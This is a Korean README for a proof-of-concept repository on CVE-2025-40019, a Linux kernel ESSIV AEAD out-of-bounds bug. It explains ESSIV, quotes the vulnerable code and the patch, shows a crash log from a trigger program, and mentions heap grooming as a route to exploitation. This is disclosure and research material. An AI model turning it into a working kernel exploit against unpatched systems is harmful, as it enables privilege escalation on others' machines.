
A Proof Of Concept for CVE-2025-40019
CVE-2025-40019는 Encrypted Salt-Sector Initialization Vector 메커니즘(crypto/essiv.c)에서 Associated Authentication Data(AAD) 길이에 대한 검증이 초기화 벡터(IV) 크기와 비교하여 충분하지 않아, 메모리 경계를 넘어 접근하는 취약점입니다. 이 저장소에 제공된 코드는 단순한 버그 트리거이지만, 이 버그는 쉽게 악용될 수 있습니다.
이 버그를 kernelctf 스프레드시트 여기에서 발견했습니다. 이 버그에 대한 블로그 포스트나 PoC가 없었기 때문에, 리눅스 커널의 암호 서브시스템을 탐구하여 문제의 원인을 알아보기로 결정했습니다.

ESSIV의 필요성을 이해하려면 디스크에 데이터가 어떻게 저장되는지 살펴봐야 합니다. 디스크 암호화(LUKS 또는 dm-crypt 등)는 일반적으로 섹터 단위로 작동합니다. 각 섹터는 독립적으로 암호화되어야 하므로, 하나의 섹터를 읽기 위해 전체 디스크를 읽을 필요가 없습니다.
표준 CBC(Cipher Block Chaining) 모드에서는 각 암호화 작업에 초기화 벡터(IV)가 필요합니다. 초기 디스크 암호화 구현에서는 섹터 번호를 IV로 사용했습니다.
하지만 섹터 번호는 예측 가능하기 때문에, 공격자는 "워터마킹 공격"을 수행할 수 있습니다. 알려진 섹터에 특별히 조작된 데이터를 기록함으로써, 공격자는 암호문에서 특정 파일의 존재를 드러내는 패턴을 관찰할 수 있으며, 이는 암호화의 기밀성을 효과적으로 우회합니다.
ESSIV(Encrypted Salt-Sector Initialization Vector)는 IV를 예측 불가능하게 만들기 위해 설계되었습니다. 다음과 같이 작동합니다:
이렇게 하면 공격자가 섹터 번호를 알고 있더라도, 비밀 키를 모르면 IV를 예측할 수 없습니다.
모든 알고리즘(기본 암호인 AES나 래퍼인 ESSIV 등)은 커널이 호출을 라우팅하는 데 사용하는 구조를 구현합니다:
struct skcipher_alg {
int (*setkey)(struct crypto_skcipher *tfm, const u8 *key, unsigned int keylen);
int (*encrypt)(struct skcipher_request *req);
int (*decrypt)(struct skcipher_request *req);
// ...
struct skcipher_alg_common co; // Contains ivsize, chunksize, etc.
};
이 취약점은 사용자가 제공한 메타데이터(AAD 길이)가 항상 암호화 변환의 내부 요구 사항을 만족할 것이라고 가정하는 전형적인 사례입니다. "in-place" 또는 복호화(!enc) 경로에서 코드는 오프셋: req->assoclen - crypto_aead_ivsize(tfm)을 계산합니다. 그러나 req->assoclen < ivsize인지 확인하지 않습니다. 즉, 이 오프셋이 음수가 될 수 있습니다.
static int essiv_aead_crypt(struct aead_request *req, bool enc)
{
struct crypto_aead *tfm = crypto_aead_reqtfm(req);
const struct essiv_tfm_ctx *tctx = crypto_aead_ctx(tfm);
struct essiv_aead_request_ctx *rctx = aead_request_ctx(req);
struct aead_request *subreq = &rctx->aead_req;
struct scatterlist *src = req->src;
int err;
crypto_cipher_encrypt_one(tctx->essiv_cipher, req->iv, req->iv);
/*
* dm-crypt embeds the sector number and the IV in the AAD region, so
* we have to copy the converted IV into the right scatterlist before
* we pass it on.
*/
rctx->assoc = NULL;
if (req->src == req->dst || !enc) {
scatterwalk_map_and_copy(req->iv, req->dst,
req->assoclen - crypto_aead_ivsize(tfm), // <------- bug !
crypto_aead_ivsize(tfm), 1);
} else {
u8 *iv = (u8 *)aead_request_ctx(req) + tctx->ivoffset;
int ivsize = crypto_aead_ivsize(tfm);
int ssize = req->assoclen - ivsize;
struct scatterlist *sg;
int nents;
.
.
.
scatterwalk_map_and_copy 함수를 살펴보면, 단순히 scatterlist sg에 memcpy를 수행하는 것을 알 수 있습니다:
static inline void scatterwalk_map_and_copy(void *buf, struct scatterlist *sg,
unsigned int start,
unsigned int nbytes, int out)
{
if (out)
memcpy_to_sglist(sg, start, buf, nbytes);
else
memcpy_from_sglist(buf, sg, start, nbytes);
}
이 버그에 대한 패치는 매우 간단합니다. assoclen이 ivsize보다 작은지만 확인합니다.
diff --git a/crypto/essiv.c b/crypto/essiv.c
index d003b78fcd855a..a47a3eab693519 100644
--- a/crypto/essiv.c
+++ b/crypto/essiv.c
@@ -186,9 +186,14 @@ static int essiv_aead_crypt(struct aead_request *req, bool enc)
const struct essiv_tfm_ctx *tctx = crypto_aead_ctx(tfm);
struct essiv_aead_request_ctx *rctx = aead_request_ctx(req);
struct aead_request *subreq = &rctx->aead_req;
+ int ivsize = crypto_aead_ivsize(tfm);
+ int ssize = req->assoclen - ivsize;
struct scatterlist *src = req->src;
int err;
+ if (ssize < 0)
+ return -EINVAL;
+
crypto_cipher_encrypt_one(tctx->essiv_cipher, req->iv, req->iv);
/*
@@ -198,19 +203,12 @@ static int essiv_aead_crypt(struct aead_request *req, bool enc)
*/
rctx->assoc = NULL;
if (req->src == req->dst || !enc) {
- scatterwalk_map_and_copy(req->iv, req->dst,
- req->assoclen - crypto_aead_ivsize(tfm),
- crypto_aead_ivsize(tfm), 1);
+ scatterwalk_map_and_copy(req->iv, req->dst, ssize, ivsize, 1);
} else {
u8 *iv = (u8 *)aead_request_ctx(req) + tctx->ivoffset;
- int ivsize = crypto_aead_ivsize(tfm);
- int ssize = req->assoclen - ivsize;
struct scatterlist *sg;
int nents;
- if (ssize < 0)
- return -EINVAL;
-
nents = sg_nents_for_len(req->src, ssize);
if (nents < 0)
return -EINVAL;
assoclen < ivsize를 제공하면 이 크래시가 발생합니다. 이 버그는 힙에서 객체를 가공하여 scatterlist 옆에 배치함으로써 악용될 수 있습니다.
root@syzkaller:/mnt/shared# ls
pwn pwn.c
root@syzkaller:/mnt/shared# ./pwn
aad_len=8, ivsize=16
[ 28.256679] BUG: kernel NULL pointer dereference, address: 000000000000000c
[ 28.258348] #PF: supervisor read access in kernel mode
[ 28.259377] #PF: error_code(0x0000) - not-present page
[ 28.260349] PGD 0 P4D 0
[ 28.260904] Oops: Oops: 0000 [#1] SMP PTI
[ 28.261605] CPU: 0 UID: 0 PID: 178 Comm: pwn Not tainted 6.17.0-rc1-00082-gc0d36727bf39 #8 PREEMPT(voluntary)
[ 28.263236] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Arch Linux 1.17.0-2-2 04/01/2014
[ 28.264805] RIP: 0010:memcpy_to_sglist+0x3a/0x90
[ 28.265607] Code: 00 41 54 55 53 48 83 ec 20 65 48 8b 05 27 31 c6 01 48 89 44 24 18 31 c0 48 89 e7 f3 ab 45 85 ed 74 3a 89 f3 49 89 d4 48 89 e5 <41> 8b 40 0c 39 d8 73 0fb
[ 28.269176] RSP: 0018:ffffc900001e7c80 EFLAGS: 00010202
[ 28.270229] RAX: 0000000000000000 RBX: 00000000ffffffb8 RCX: 0000000000000000
[ 28.271392] RDX: ffff8881027a4930 RSI: 00000000fffffff8 RDI: ffff888102b3f820
[ 28.272514] RBP: ffffc900001e7c80 R08: 0000000000000000 R09: 0000000000000000
[ 28.273681] R10: 0000000000000011 R11: 0000000000000081 R12: ffff8881027a4930
[ 28.274997] R13: 0000000000000010 R14: ffff888102b3fa90 R15: ffff888102b3f820
[ 28.276423] FS: 00007fb27ef28540(0000) GS:ffff8881b8986000(0000) knlGS:0000000000000000
[ 28.277835] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 28.278831] CR2: 000000000000000c CR3: 000000010298e000 CR4: 00000000000006f0
[ 28.280253] Call Trace:
[ 28.280723] <TASK>
[ 28.281147] essiv_aead_crypt+0x6d/0x230
[ 28.281845] aead_recvmsg+0x442/0x500
[ 28.282630] sock_recvmsg_nosec+0x57/0x80
[ 28.283493] sock_read_iter+0x7a/0xc0
[ 28.284209] vfs_read+0x14c/0x1e0
[ 28.284811] ksys_read+0x74/0xc0
[ 28.285368] do_syscall_64+0xca/0x1c0
[ 28.286120] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 28.287068] RIP: 0033:0x7fb27ee3e46e
[ 28.287675] Code: c0 e9 b6 fe ff ff 50 48 8d 3d ce 07 0b 00 e8 69 01 02 00 66 0f 1f 84 00 00 00 00 00 64 8b 04 25 18 00 00 00 85 c0 75 14 0f 05 <48> 3d 00 f0 ff ff 77 5a8
[ 28.290739] RSP: 002b:00007ffcc5ad39a8 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
[ 28.292152] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fb27ee3e46e
[ 28.293253] RDX: 0000000000000040 RSI: 00007ffcc5ad3a60 RDI: 0000000000000004
[ 28.294356] RBP: 00007ffcc5ad3ba0 R08: 0000000000000000 R09: 00007ffcc5ad3887
[ 28.295495] R10: fffffffffffffd8d R11: 0000000000000246 R12: 000055995fbd3150
[ 28.296693] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
[ 28.297842] </TASK>
[ 28.298208] Modules linked in:
[ 28.298966] CR2: 000000000000000c
[ 28.299630] ---[ end trace 0000000000000000 ]---
[ 28.300389] RIP: 0010:memcpy_to_sglist+0x3a/0x90
[ 28.301266] Code: 00 41 54 55 53 48 83 ec 20 65 48 8b 05 27 31 c6 01 48 89 44 24 18 31 c0 48 89 e7 f3 ab 45 85 ed 74 3a 89 f3 49 89 d4 48 89 e5 <41> 8b 40 0c 39 d8 73 0fb
[ 28.304232] RSP: 0018:ffffc900001e7c80 EFLAGS: 00010202
[ 28.305035] RAX: 0000000000000000 RBX: 00000000ffffffb8 RCX: 0000000000000000
[ 28.306210] RDX: ffff8881027a4930 RSI: 00000000fffffff8 RDI: ffff888102b3f820
[ 28.307396] RBP: ffffc900001e7c80 R08: 0000000000000000 R09: 0000000000000000
[ 28.308668] R10: 0000000000000011 R11: 0000000000000081 R12: ffff8881027a4930
[ 28.309798] R13: 0000000000000010 R14: ffff888102b3fa90 R15: ffff888102b3f820
[ 28.310996] FS: 00007fb27ef28540(0000) GS:ffff8881b8986000(0000) knlGS:0000000000000000
[ 28.312321] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 28.313229] CR2: 000000000000000c CR3: 000000010298e000 CR4: 00000000000006f0
Killed